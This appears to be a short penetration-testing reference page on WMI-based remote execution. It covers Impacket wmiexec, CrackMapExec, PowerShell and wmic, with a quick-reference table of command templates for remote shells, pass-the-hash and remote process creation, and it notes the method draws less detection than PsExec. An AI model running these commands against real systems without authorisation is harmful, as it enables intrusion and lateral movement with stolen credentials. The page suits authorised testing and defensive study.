Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Impacket — wmiexec
Execute Single Command
CrackMapExec (WMI)
PowerShell (From Windows)
wmic
Advantages
- No binary uploaded to target
- Uses WMI (port 135 + dynamic)
- Less detection than PsExec
- No service creation
Limitations
- Semi-interactive (not fully interactive)
- Output via SMB share (needs ADMIN$ access)
- Runs as calling user, not SYSTEM
Quick Reference
| Task | Command |
|---|---|
| Shell | impacket-wmiexec DOMAIN/user:pass@TARGET |
| PtH | impacket-wmiexec DOMAIN/user@TARGET -hashes :HASH |
| Single cmd | impacket-wmiexec DOMAIN/user:pass@TARGET "whoami" |
| wmic | wmic /node:TARGET process call create "cmd" |